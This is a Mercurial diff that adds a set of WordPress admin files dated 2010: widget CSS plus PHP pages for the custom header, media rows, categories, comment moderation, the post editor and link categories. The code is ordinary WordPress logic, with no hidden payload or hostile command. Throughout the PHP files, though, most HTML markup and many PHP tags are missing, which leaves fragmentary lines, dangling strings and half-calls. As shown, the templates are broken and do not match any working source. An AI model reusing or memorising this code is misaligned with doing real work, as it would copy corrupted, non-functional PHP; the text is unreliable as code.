+ +#widget-list .widget { + width: 250px; + margin: 0 10px 15px; + border: 0 none; + float: left; +} + +#widget-list .widget-description { + padding: 5px 8px; +} + +#widget-list .widget-top { + border-width: 1px; + border-style: solid; + -moz-border-radius: 6px; + -khtml-border-radius: 6px; + -webkit-border-radius: 6px; + border-radius: 6px; +} + +.widget-placeholder { + border-width: 1px; + border-style: dashed; + margin: 0 auto 20px; + height: 26px; + width: 250px; +} + +#wp_inactive_widgets .widget-placeholder { + margin: 0 10px 20px; + float: left; +} + +div.widgets-holder-wrap { + padding: 0; + margin: 10px 0 20px; +} + +#widgets-left #available-widgets { + background-color: transparent; + border: 0 none; +} + +ul#widget-list { + list-style: none; + margin: 0; + padding: 0; + min-height: 100px; +} + +.widget .widget-top { + font-size: 12px; + font-weight: bold; + height: 26px; + overflow: hidden; +} + +.widget-top .widget-title { + padding: 5px 9px; +} + +.widget-top .widget-title-action { + float: right; +} + +a.widget-action { + display: block; + width: 24px; + height: 26px; +} + +#available-widgets a.widget-action { + display: none; +} + +.widget-top a.widget-action { + background: url("../images/menu-bits.gif") no-repeat scroll 0 -110px; +} + +.widget .widget-inside, +.widget .widget-description { + padding: 12px 12px 10px; + font-size: 11px; + line-height: 16px; +} + +.widget-inside, +.widget-description { + display: none; +} + +#available-widgets .widget-description { + display: block; +} + +.widget .widget-inside p { + margin: 0 0 1em; + padding: 0; +} + +.widget-title h4 { + margin: 0; + line-height: 1.3; + overflow: hidden; + white-space: nowrap; +} + +.widgets-sortables { + min-height: 90px; +} + +.widget-control-actions { + margin-top: 8px; +} + +.widget-control-actions a { + text-decoration: none; +} + +.widget-control-actions a:hover { + text-decoration: underline; +} + +.widget-control-actions .ajax-feedback { + padding-bottom: 3px; +} + +.widget-control-actions div.alignleft { + margin-top: 6px; +} + +div#sidebar-info { + padding: 0 1em; + margin-bottom: 1em; + font-size: 11px; +} + +.widget-title a, +.widget-title a:hover { + text-decoration: none; + border-bottom: none; +} + +.widget-control-edit { + display: block; + font-size: 11px; + font-weight: normal; + line-height: 26px; + padding: 0 8px 0 0; +} + +a.widget-control-edit { + text-decoration: none; +} + +.widget-control-edit .add, +.widget-control-edit .edit { + display: none; +} + +#available-widgets .widget-control-edit .add, +#widgets-right .widget-control-edit .edit, +#wp_inactive_widgets .widget-control-edit .edit { + display: inline; +} + +.editwidget { + margin: 0 auto 15px; +} + +.editwidget .widget-inside { + display: block; + border-width: 1px; + border-style: solid; + padding: 10px; + -moz-border-radius: 6px; + -khtml-border-radius: 6px; + -webkit-border-radius: 6px; + border-radius: 6px; +} + +.inactive p.description { + margin: 5px 15px 8px; +} + +#available-widgets p.description { + margin: 0 12px 12px; +} + +.widget-position { + margin-top: 8px; +} + +.inactive { + padding-top: 2px; +} + +.sidebar-name-arrow { + float: right; + height: 29px; + width: 26px; +} + +.widget-title .in-widget-title { + font-size: 11px; + white-space: nowrap; +} + +#removing-widget { + display: none; + font-weight: normal; + padding-left: 15px; + font-size: 12px; +} + +.widget-control-noform, +#access-off, +.widgets_access .widget-action, +.widgets_access .sidebar-name-arrow, +.widgets_access #access-on, +.widgets_access .widget-holder .description { + display: none; +} + +.widgets_access .widget-holder, +.widgets_access #widget-list { + padding-top: 10px; +} + +.widgets_access #access-off { + display: inline; +} + +.widgets_access #wpbody-content .widget-title-action, +.widgets_access #wpbody-content .widget-control-edit, +.widgets_access .closed .widgets-sortables, +.widgets_access .closed .widget-holder { + display: block; +} + +.widgets_access .closed .sidebar-name { + -moz-border-radius-bottomleft: 0; + -moz-border-radius-bottomright: 0; + -webkit-border-bottom-right-radius: 0; + -webkit-border-bottom-left-radius: 0; + -khtml-border-bottom-right-radius: 0; + -khtml-border-bottom-left-radius: 0; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} + +.widgets_access .sidebar-name, +.widgets_access .widget .widget-top { + cursor: default; +} + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/custom-header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/custom-header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,478 @@ +admin_header_callback = $admin_header_callback; + } + + /** + * Setup the hooks for the Custom Header admin page. + * + * @since unknown + */ + function init() { + $page = add_theme_page(__('Custom Header'), __('Custom Header'), 'edit_themes', 'custom-header', array(&$this, 'admin_page')); + + add_action("admin_print_scripts-$page", array(&$this, 'js_includes')); + add_action("admin_print_styles-$page", array(&$this, 'css_includes')); + add_action("admin_head-$page", array(&$this, 'take_action'), 50); + add_action("admin_head-$page", array(&$this, 'js'), 50); + add_action("admin_head-$page", $this->admin_header_callback, 51); + } + + /** + * Get the current step. + * + * @since unknown + * + * @return int Current step + */ + function step() { + if ( ! isset( $_GET['step'] ) ) + return 1; + + $step = (int) $_GET['step']; + if ( $step < 1 || 3 < $step ) + $step = 1; + + return $step; + } + + /** + * Setup the enqueue for the JavaScript files. + * + * @since unknown + */ + function js_includes() { + $step = $this->step(); + + if ( 1 == $step ) + wp_enqueue_script('farbtastic'); + elseif ( 2 == $step ) + wp_enqueue_script('jcrop'); + } + + /** + * Setup the enqueue for the CSS files + * + * @since 2.7 + */ + function css_includes() { + $step = $this->step(); + + if ( 1 == $step ) + wp_enqueue_style('farbtastic'); + elseif ( 2 == $step ) + wp_enqueue_style('jcrop'); + } + + /** + * Execute custom header modification. + * + * @since unknown + */ + function take_action() { + if ( isset( $_POST['textcolor'] ) ) { + check_admin_referer('custom-header'); + if ( 'blank' == $_POST['textcolor'] ) { + set_theme_mod('header_textcolor', 'blank'); + } else { + $color = preg_replace('/[^0-9a-fA-F]/', '', $_POST['textcolor']); + if ( strlen($color) == 6 || strlen($color) == 3 ) + set_theme_mod('header_textcolor', $color); + } + } + if ( isset($_POST['resetheader']) ) { + check_admin_referer('custom-header'); + remove_theme_mods(); + } + } + + /** + * Execute Javascript depending on step. + * + * @since unknown + */ + function js() { + $step = $this->step(); + if ( 1 == $step ) + $this->js_1(); + elseif ( 2 == $step ) + $this->js_2(); + } + + /** + * Display Javascript based on Step 1. + * + * @since unknown + */ + function js_1() { ?> + + + + +
+

+
+ + +
+ +

+

+ +
+

+
+
+ +
+ + + +
+ + + +
+
+

+

%1$d x %2$d pixels will be used as-is.'), HEADER_IMAGE_WIDTH, HEADER_IMAGE_HEIGHT); ?>

+ +
+
+ + +

+ +

+
+ +
+ + +
+

+

+
+ + +
+
+ false); + $file = wp_handle_upload($_FILES['import'], $overrides); + + if ( isset($file['error']) ) + die( $file['error'] ); + + $url = $file['url']; + $type = $file['type']; + $file = $file['file']; + $filename = basename($file); + + // Construct the object array + $object = array( + 'post_title' => $filename, + 'post_content' => $url, + 'post_mime_type' => $type, + 'guid' => $url); + + // Save the data + $id = wp_insert_attachment($object, $file); + + list($width, $height, $type, $attr) = getimagesize( $file ); + + if ( $width == HEADER_IMAGE_WIDTH && $height == HEADER_IMAGE_HEIGHT ) { + // Add the meta-data + wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) ); + + set_theme_mod('header_image', esc_url($url)); + do_action('wp_create_file_in_uploads', $file, $id); // For replication + return $this->finished(); + } elseif ( $width > HEADER_IMAGE_WIDTH ) { + $oitar = $width / HEADER_IMAGE_WIDTH; + $image = wp_crop_image($file, 0, 0, $width, $height, HEADER_IMAGE_WIDTH, $height / $oitar, false, str_replace(basename($file), 'midsize-'.basename($file), $file)); + $image = apply_filters('wp_create_file_in_uploads', $image, $id); // For replication + + $url = str_replace(basename($url), basename($image), $url); + $width = $width / $oitar; + $height = $height / $oitar; + } else { + $oitar = 1; + } + ?> + +
+ +
+ +

+
+ +
+ +

+ + + + + + + + + + +

+ +
+
+ 1 ) { + $_POST['x1'] = $_POST['x1'] * $_POST['oitar']; + $_POST['y1'] = $_POST['y1'] * $_POST['oitar']; + $_POST['width'] = $_POST['width'] * $_POST['oitar']; + $_POST['height'] = $_POST['height'] * $_POST['oitar']; + } + + $original = get_attached_file( $_POST['attachment_id'] ); + + $cropped = wp_crop_image($_POST['attachment_id'], $_POST['x1'], $_POST['y1'], $_POST['width'], $_POST['height'], HEADER_IMAGE_WIDTH, HEADER_IMAGE_HEIGHT); + $cropped = apply_filters('wp_create_file_in_uploads', $cropped, $_POST['attachment_id']); // For replication + + $parent = get_post($_POST['attachment_id']); + $parent_url = $parent->guid; + $url = str_replace(basename($parent_url), basename($cropped), $parent_url); + + // Construct the object array + $object = array( + 'ID' => $_POST['attachment_id'], + 'post_title' => basename($cropped), + 'post_content' => $url, + 'post_mime_type' => 'image/jpeg', + 'guid' => $url + ); + + // Update the attachment + wp_insert_attachment($object, $cropped); + wp_update_attachment_metadata( $_POST['attachment_id'], wp_generate_attachment_metadata( $_POST['attachment_id'], $cropped ) ); + + set_theme_mod('header_image', $url); + + // cleanup + $medium = str_replace(basename($original), 'midsize-'.basename($original), $original); + @unlink( apply_filters( 'wp_delete_file', $medium ) ); + @unlink( apply_filters( 'wp_delete_file', $original ) ); + + return $this->finished(); + } + + /** + * Display last step of custom header image page. + * + * @since unknown + */ + function finished() { + ?> +
+

+ +

+ +
+ step(); + if ( 1 == $step ) + $this->step_1(); + elseif ( 2 == $step ) + $this->step_2(); + elseif ( 3 == $step ) + $this->step_3(); + } + +} +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit-attachment-rows.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit-attachment-rows.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,231 @@ + + + + + + + + + + + + + + + +post_status != 'trash' ) + continue; +elseif ( !$is_trash && $post->post_status == 'trash' ) + continue; + +$alt = ( 'alternate' == $alt ) ? '' : 'alternate'; +global $current_user; +$post_owner = ( $current_user->ID == $post->post_author ? 'self' : 'other' ); +$att_title = _draft_or_post_title(); +?> + post_status ); ?>' valign="top"> + + $column_display_name ) { + $class = "class=\"$column_name column-$column_name\""; + + $style = ''; + if ( in_array($column_name, $hidden) ) + $style = ' style="display:none;"'; + + $attributes = "$class$style"; + + switch($column_name) { + + case 'cb': + ?> + + + + + + + + + + + + post_date && 'date' == $column_name ) { + $t_time = $h_time = __('Unpublished'); + } else { + $t_time = get_the_time(__('Y/m/d g:i:s A')); + $m_time = $post->post_date; + $time = get_post_time( 'G', true, $post, false ); + if ( ( abs($t_diff = time() - $time) ) < 86400 ) { + if ( $t_diff < 0 ) + $h_time = sprintf( __('%s from now'), human_time_diff( $time ) ); + else + $h_time = sprintf( __('%s ago'), human_time_diff( $time ) ); + } else { + $h_time = mysql2date(__('Y/m/d'), $m_time); + } + } + ?> + + post_parent > 0 ) { + if ( get_post($post->post_parent) ) { + $title =_draft_or_post_title($post->post_parent); + } + ?> + + + + + + + + + + + + + +
ID) ) { ?>>ID, array(80, 60), true ) ) { + if ( $is_trash ) echo $thumb; + else { +?> + + + + +>
+ ID))); ?> +

+ ID) && !$is_trash ) + $actions['edit'] = '' . __('Edit') . ''; + if ( current_user_can('delete_post', $post->ID) ) { + if ( $is_trash ) + $actions['untrash'] = "ID) . "'>" . __('Restore') . ""; + elseif ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) + $actions['trash'] = "ID) . "'>" . __('Trash') . ""; + if ( $is_trash || !EMPTY_TRASH_DAYS || !MEDIA_TRASH ) { + $delete_ays = (!$is_trash && !MEDIA_TRASH) ? " onclick='return showNotice.warn();'" : ''; + $actions['delete'] = "ID) . "'>" . __('Delete Permanently') . ""; + } + } + if ( !$is_trash ) + $actions['view'] = '' . __('View') . ''; + $actions = apply_filters( 'media_row_actions', $actions, $post ); + $action_count = count($actions); + $i = 0; + echo '

'; + foreach ( $actions as $action => $link ) { + ++$i; + ( $i == $action_count ) ? $sep = '' : $sep = ' | '; + echo "$link$sep"; + } + echo '
'; + ?>

>>slug'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'post_tag', 'display')) . ""; + echo join( ', ', $out ); + } else { + _e('No Tags'); + } + ?>>post_excerpt : ''; ?>>>, >
+
>
+ ID ); + $pending_phrase = sprintf( __('%s pending'), number_format( $left ) ); + if ( $left ) + echo ''; + comments_number("" . /* translators: comment count link */ _x('0', 'comment count') . '', "" . /* translators: comment count link */ _x('1', 'comment count') . '', "" . /* translators: comment count link: % will be substituted by comment count */ _x('%', 'comment count') . ''); + if ( $left ) + echo ''; + ?> +
> + | + + >
+ + +

+ + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit-category-form.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit-category-form.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,83 @@ +name ) ) + $category->name = ''; + + if ( ! isset( $category->slug ) ) + $category->slug = ''; + + if ( ! isset( $category->parent ) ) + $category->parent = ''; + + if ( ! isset( $category->description ) ) + $category->description = ''; +} + +do_action('edit_category_form_pre', $category); + +_fill_empty_category($category); +?> + +
+ +

+
+
+ + + + + + + + + + + + + + + + + + + + + +

+
+ 0, 'name' => 'category_parent', 'orderby' => 'name', 'selected' => $category->parent, 'exclude' => $category->term_id, 'hierarchical' => true, 'show_option_none' => __('None'))); ?>
+ +

+
+

+ +
+
diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit-comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit-comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,461 @@ +escape($_REQUEST['comment_status']); + $delete_time = $wpdb->escape($_REQUEST['pagegen_timestamp']); + $comment_ids = $wpdb->get_col( "SELECT comment_ID FROM $wpdb->comments WHERE comment_approved = '$comment_status' AND '$delete_time' > comment_date_gmt" ); + $doaction = 'delete'; + } elseif ( ($_REQUEST['action'] != -1 || $_REQUEST['action2'] != -1) && isset($_REQUEST['delete_comments']) ) { + $comment_ids = $_REQUEST['delete_comments']; + $doaction = ($_REQUEST['action'] != -1) ? $_REQUEST['action'] : $_REQUEST['action2']; + } elseif ( $_REQUEST['doaction'] == 'undo' && isset($_REQUEST['ids']) ) { + $comment_ids = array_map( 'absint', explode(',', $_REQUEST['ids']) ); + $doaction = $_REQUEST['action']; + } else { + wp_redirect($_SERVER['HTTP_REFERER']); + } + + $approved = $unapproved = $spammed = $unspammed = $trashed = $untrashed = $deleted = 0; + + foreach ($comment_ids as $comment_id) { // Check the permissions on each + $_post_id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT comment_post_ID FROM $wpdb->comments WHERE comment_ID = %d", $comment_id) ); + + if ( !current_user_can('edit_post', $_post_id) ) + continue; + + switch( $doaction ) { + case 'approve' : + wp_set_comment_status($comment_id, 'approve'); + $approved++; + break; + case 'unapprove' : + wp_set_comment_status($comment_id, 'hold'); + $unapproved++; + break; + case 'spam' : + wp_spam_comment($comment_id); + $spammed++; + break; + case 'unspam' : + wp_unspam_comment($comment_id); + $unspammed++; + break; + case 'trash' : + wp_trash_comment($comment_id); + $trashed++; + break; + case 'untrash' : + wp_untrash_comment($comment_id); + $untrashed++; + break; + case 'delete' : + wp_delete_comment($comment_id); + $deleted++; + break; + } + } + + $redirect_to = 'edit-comments.php'; + + if ( $approved ) + $redirect_to = add_query_arg( 'approved', $approved, $redirect_to ); + if ( $unapproved ) + $redirect_to = add_query_arg( 'unapproved', $unapproved, $redirect_to ); + if ( $spammed ) + $redirect_to = add_query_arg( 'spammed', $spammed, $redirect_to ); + if ( $unspammed ) + $redirect_to = add_query_arg( 'unspammed', $unspammed, $redirect_to ); + if ( $trashed ) + $redirect_to = add_query_arg( 'trashed', $trashed, $redirect_to ); + if ( $untrashed ) + $redirect_to = add_query_arg( 'untrashed', $untrashed, $redirect_to ); + if ( $deleted ) + $redirect_to = add_query_arg( 'deleted', $deleted, $redirect_to ); + if ( $trashed || $spammed ) + $redirect_to = add_query_arg( 'ids', join(',', $comment_ids), $redirect_to ); + + if ( $post_id ) + $redirect_to = add_query_arg( 'p', absint( $post_id ), $redirect_to ); + if ( isset($_REQUEST['apage']) ) + $redirect_to = add_query_arg( 'apage', absint($_REQUEST['apage']), $redirect_to ); + if ( !empty($_REQUEST['mode']) ) + $redirect_to = add_query_arg('mode', $_REQUEST['mode'], $redirect_to); + if ( !empty($_REQUEST['comment_status']) ) + $redirect_to = add_query_arg('comment_status', $_REQUEST['comment_status'], $redirect_to); + if ( !empty($_REQUEST['s']) ) + $redirect_to = add_query_arg('s', $_REQUEST['s'], $redirect_to); + wp_redirect( $redirect_to ); +} elseif ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) { + wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) ); + exit; +} + +if ( $post_id ) + $title = sprintf(__('Edit Comments on “%s”'), wp_html_excerpt(_draft_or_post_title($post_id), 50)); +else + $title = __('Edit Comments'); + +require_once('admin-header.php'); + +$mode = ( ! isset($_GET['mode']) || empty($_GET['mode']) ) ? 'detail' : esc_attr($_GET['mode']); + +$comment_status = isset($_REQUEST['comment_status']) ? $_REQUEST['comment_status'] : 'all'; +if ( !in_array($comment_status, array('all', 'moderated', 'approved', 'spam', 'trash')) ) + $comment_status = 'all'; + +$comment_type = !empty($_GET['comment_type']) ? esc_attr($_GET['comment_type']) : ''; + +$search_dirty = ( isset($_GET['s']) ) ? $_GET['s'] : ''; +$search = esc_attr( $search_dirty ); ?> + +
+ +

' . sprintf( __( 'Search results for “%s”' ), wp_html_excerpt( esc_html( stripslashes( $_GET['s'] ) ), 50 ) ) . '' ); ?> +

+ + 0 || $deleted > 0 || $trashed > 0 || $untrashed > 0 || $spammed > 0 || $unspammed > 0 ) { + echo '

'; + + if ( $approved > 0 ) { + printf( _n( '%s comment approved', '%s comments approved', $approved ), $approved ); + echo '
'; + } + if ( $spammed > 0 ) { + printf( _n( '%s comment marked as spam.', '%s comments marked as spam.', $spammed ), $spammed ); + $ids = isset($_GET['ids']) ? $_GET['ids'] : 0; + echo ' ' . __('Undo') . '
'; + } + if ( $unspammed > 0 ) { + printf( _n( '%s comment restored from the spam', '%s comments restored from the spam', $unspammed ), $unspammed ); + echo '
'; + } + if ( $trashed > 0 ) { + printf( _n( '%s comment moved to the trash.', '%s comments moved to the trash.', $trashed ), $trashed ); + $ids = isset($_GET['ids']) ? $_GET['ids'] : 0; + echo ' ' . __('Undo') . '
'; + } + if ( $untrashed > 0 ) { + printf( _n( '%s comment restored from the trash', '%s comments restored from the trash', $untrashed ), $untrashed ); + echo '
'; + } + if ( $deleted > 0 ) { + printf( _n( '%s comment permanently deleted', '%s comments permanently deleted', $deleted ), $deleted ); + echo '
'; + } + + echo '

'; + } +} +?> + +
+
    +moderated) ), "" . number_format_i18n($num_comments->moderated) . ""), +//, number_format_i18n($num_comments->spam) ), "" . number_format_i18n($num_comments->spam) . "") +$stati = array( + 'all' => _n_noop('All', 'All'), // singular not used + 'moderated' => _n_noop('Pending (%s)', 'Pending (%s)'), + 'approved' => _n_noop('Approved', 'Approved'), // singular not used + 'spam' => _n_noop('Spam (%s)', 'Spam (%s)'), + 'trash' => _n_noop('Trash (%s)', 'Trash (%s)') + ); + +if ( !EMPTY_TRASH_DAYS ) + unset($stati['trash']); + +$link = 'edit-comments.php'; +if ( !empty($comment_type) && 'all' != $comment_type ) + $link = add_query_arg( 'comment_type', $comment_type, $link ); + +foreach ( $stati as $status => $label ) { + $class = ''; + + if ( $status == $comment_status ) + $class = ' class="current"'; + if ( !isset( $num_comments->$status ) ) + $num_comments->$status = 10; + $link = add_query_arg( 'comment_status', $status, $link ); + if ( $post_id ) + $link = add_query_arg( 'p', absint( $post_id ), $link ); + /* + // I toyed with this, but decided against it. Leaving it in here in case anyone thinks it is a good idea. ~ Mark + if ( !empty( $_GET['s'] ) ) + $link = add_query_arg( 's', esc_attr( stripslashes( $_GET['s'] ) ), $link ); + */ + $status_links[] = "
  • " . sprintf( + _n( $label[0], $label[1], $num_comments->$status ), + number_format_i18n( $num_comments->$status ) + ) . ''; +} + +$status_links = apply_filters( 'comment_status_links', $status_links ); + +echo implode( " |
  • \n", $status_links) . ''; +unset($status_links); +?> +
+ + + +comment_post_ID; +} +$_comment_pending_count_temp = (array) get_pending_comments_num($_comment_post_ids); +foreach ( (array) $_comment_post_ids as $_cpid ) + $_comment_pending_count[$_cpid] = isset( $_comment_pending_count_temp[$_cpid] ) ? $_comment_pending_count_temp[$_cpid] : 0; +if ( empty($_comment_pending_count) ) + $_comment_pending_count = array(); + +$comments = array_slice($_comments, 0, $comments_per_page); +$extra_comments = array_slice($_comments, $comments_per_page); + +$page_links = paginate_links( array( + 'base' => add_query_arg( 'apage', '%#%' ), + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => ceil($total / $comments_per_page), + 'current' => $page +)); + +?> + + + + + + + + +
+ + +
' . __( 'Displaying %s–%s of %s' ) . '%s', + number_format_i18n( $start + 1 ), + number_format_i18n( min( $page * $comments_per_page, $total ) ), + '' . number_format_i18n( $total ) . '', + $page_links +); echo $page_links_text; ?>
+ + + + + +
+ + + + + + + + + + + + + + + +
+ +
+ +
+ +
+ + + + + + + + + + + + + + + + +comment_ID, $mode, $comment_status ); +?> + + +comment_ID, $mode, $comment_status ); +?> + +
+ +
+$page_links_text
"; +?> + +
+ + + + + + + + + +
+ +
+
+ + + + + +
+ + +

+ + + +

+ + + +
+ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit-form-advanced.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit-form-advanced.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,247 @@ +View post'), get_permalink($post_ID) ); + break; + case 2: + $message = __('Custom field updated.'); + break; + case 3: + $message = __('Custom field deleted.'); + break; + case 4: + $message = __('Post updated.'); + break; + case 5: + if ( isset($_GET['revision']) ) + $message = sprintf( __('Post restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ); + break; + case 6: + $message = sprintf( __('Post published. View post'), get_permalink($post_ID) ); + break; + case 7: + $message = __('Post saved.'); + break; + case 8: + $message = sprintf( __('Post submitted. Preview post'), add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ); + break; + case 9: + // translators: Publish box date formt, see http://php.net/date - Same as in meta-boxes.php + $message = sprintf( __('Post scheduled for: %1$s. Preview post'), date_i18n( __( 'M j, Y @ G:i' ), strtotime( $post->post_date ) ), get_permalink($post_ID) ); + break; + case 10: + $message = sprintf( __('Post draft updated. Preview post'), add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ); + break; + } +} + +$notice = false; +if ( 0 == $post_ID ) { + $form_action = 'post'; + $temp_ID = -1 * time(); // don't change this formula without looking at wp_write_post() + $form_extra = ""; + $autosave = false; +} else { + $form_action = 'editpost'; + $form_extra = ""; + $autosave = wp_get_post_autosave( $post_ID ); + + // Detect if there exists an autosave newer than the post and if that autosave is different than the post + if ( $autosave && mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) { + foreach ( _wp_post_revision_fields() as $autosave_field => $_autosave_field ) { + if ( normalize_whitespace( $autosave->$autosave_field ) != normalize_whitespace( $post->$autosave_field ) ) { + $notice = sprintf( __( 'There is an autosave of this post that is more recent than the version below. View the autosave.' ), get_edit_post_link( $autosave->ID ) ); + break; + } + } + unset($autosave_field, $_autosave_field); + } +} + +// All meta boxes should be defined and added before the first do_meta_boxes() call (or potentially during the do_meta_boxes action). +require_once('includes/meta-boxes.php'); + +add_meta_box('submitdiv', __('Publish'), 'post_submit_meta_box', 'post', 'side', 'core'); + +// all tag-style post taxonomies +foreach ( get_object_taxonomies('post') as $tax_name ) { + if ( !is_taxonomy_hierarchical($tax_name) ) { + $taxonomy = get_taxonomy($tax_name); + $label = isset($taxonomy->label) ? esc_attr($taxonomy->label) : $tax_name; + + add_meta_box('tagsdiv-' . $tax_name, $label, 'post_tags_meta_box', 'post', 'side', 'core'); + } +} + +add_meta_box('categorydiv', __('Categories'), 'post_categories_meta_box', 'post', 'side', 'core'); +if ( current_theme_supports( 'post-thumbnails', 'post' ) ) + add_meta_box('postimagediv', __('Post Thumbnail'), 'post_thumbnail_meta_box', 'post', 'side', 'low'); +add_meta_box('postexcerpt', __('Excerpt'), 'post_excerpt_meta_box', 'post', 'normal', 'core'); +add_meta_box('trackbacksdiv', __('Send Trackbacks'), 'post_trackback_meta_box', 'post', 'normal', 'core'); +add_meta_box('postcustom', __('Custom Fields'), 'post_custom_meta_box', 'post', 'normal', 'core'); +do_action('dbx_post_advanced'); +add_meta_box('commentstatusdiv', __('Discussion'), 'post_comment_status_meta_box', 'post', 'normal', 'core'); + +if ( 'publish' == $post->post_status || 'private' == $post->post_status ) + add_meta_box('commentsdiv', __('Comments'), 'post_comment_meta_box', 'post', 'normal', 'core'); + +if ( !( 'pending' == $post->post_status && !current_user_can( 'publish_posts' ) ) ) + add_meta_box('slugdiv', __('Post Slug'), 'post_slug_meta_box', 'post', 'normal', 'core'); + +$authors = get_editable_user_ids( $current_user->id ); // TODO: ROLE SYSTEM +if ( $post->post_author && !in_array($post->post_author, $authors) ) + $authors[] = $post->post_author; +if ( $authors && count( $authors ) > 1 ) + add_meta_box('authordiv', __('Post Author'), 'post_author_meta_box', 'post', 'normal', 'core'); + +if ( 0 < $post_ID && wp_get_post_revisions( $post_ID ) ) + add_meta_box('revisionsdiv', __('Post Revisions'), 'post_revisions_meta_box', 'post', 'normal', 'core'); + +do_action('do_meta_boxes', 'post', 'normal', $post); +do_action('do_meta_boxes', 'post', 'advanced', $post); +do_action('do_meta_boxes', 'post', 'side', $post); + +require_once('admin-header.php'); + +?> + +
+ +

+ +

+ + +

+ +
+ + + + + + + + + +post_status ) + wp_original_referer_field(true, 'previous'); + +echo $form_extra ?> + +
+
+ + + + +
+ +
+
+
+
+ + +
+
+ID); +if ( !( 'pending' == $post->post_status && !current_user_can( 'publish_posts' ) ) ) { ?> +
+ID) && ! empty($sample_permalink_html) ) : + echo $sample_permalink_html; +endif; ?> +
+ +
+
+ +
+ +post_content); ?> + + + + +
+   +'; + if ( $last_id = get_post_meta($post_ID, '_edit_last', true) ) { + $last_user = get_userdata($last_id); + printf(__('Last edited by %1$s on %2$s at %3$s'), esc_html( $last_user->display_name ), mysql2date(get_option('date_format'), $post->post_modified), mysql2date(get_option('time_format'), $post->post_modified)); + } else { + printf(__('Last edited on %1$s at %2$s'), mysql2date(get_option('date_format'), $post->post_modified), mysql2date(get_option('time_format'), $post->post_modified)); + } + echo ''; + } ?> +
+ + +
+ + + +
+
+
+
+
+
+ + + +post_title) && '' == $post->post_title) || (isset($_GET['message']) && 2 > $_GET['message'])) : ?> + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit-form-comment.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit-form-comment.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,143 @@ +comment_ID); +$form_action = 'editedcomment'; +$form_extra = "' />\n\ncomment_ID) ?> +
+ +

+ +
+ + + +
+
+

+
+
+
+ +
+
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+%1$s'); +$date = date_i18n( $datef, strtotime( $comment->comment_date ) ); +?> +  +
+
+
+
+
+ +
+
+comment_ID&_wp_original_http_referer=" . urlencode(wp_get_referer()), 'delete-comment_' . $comment->comment_ID) . "'>" . ( !EMPTY_TRASH_DAYS ? __('Delete Permanently') : __('Move to Trash') ) . "\n"; ?> +
+
+ +
+
+
+
+
+
+
+ +
+
+
+

+
+ + + + + + + + + + + + + + + +
+ comment_author_email ) { + printf( __( 'E-mail (%s):' ), get_comment_author_email_link( __( 'send e-mail' ), '', '' ) ); + } else { + _e( 'E-mail:' ); + } +?>
+ comment_author_url ) && 'http://' != $comment->comment_author_url ) { + $link = '' . __('visit site') . ''; + printf( __( 'URL (%s):' ), apply_filters('get_comment_author_link', $link ) ); + } else { + _e( 'URL:' ); + } ?>
+
+
+
+ +
+comment_content, 'content', 'newcomment_author_url', false, 4); ?> + +
+ + + + + + + + + +
+
+
+
+ + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit-link-categories.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit-link-categories.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,230 @@ +%s category: this is the default one"), get_term_field('name', $cat_ID, 'link_category') ) ); + + wp_delete_term($cat_ID, 'link_category', array('default' => $default_cat_id)); + } + + $location = 'edit-link-categories.php'; + if ( $referer = wp_get_referer() ) { + if ( false !== strpos($referer, 'edit-link-categories.php') ) + $location = $referer; + } + + $location = add_query_arg('message', 6, $location); + wp_redirect($location); + exit(); + } +} elseif ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) { + wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) ); + exit; +} + +$title = __('Link Categories'); + +wp_enqueue_script('admin-categories'); +if ( current_user_can('manage_categories') ) + wp_enqueue_script('inline-edit-tax'); + +require_once ('admin-header.php'); + +$messages[1] = __('Category added.'); +$messages[2] = __('Category deleted.'); +$messages[3] = __('Category updated.'); +$messages[4] = __('Category not added.'); +$messages[5] = __('Category not updated.'); +$messages[6] = __('Categories deleted.'); ?> + +
+ +

' . __('Search results for “%s”') . '', esc_html( stripslashes($_GET['s']) ) ); ?> +

+ + +

+ + +
+ +
+
+ +
+ +
+
+
+
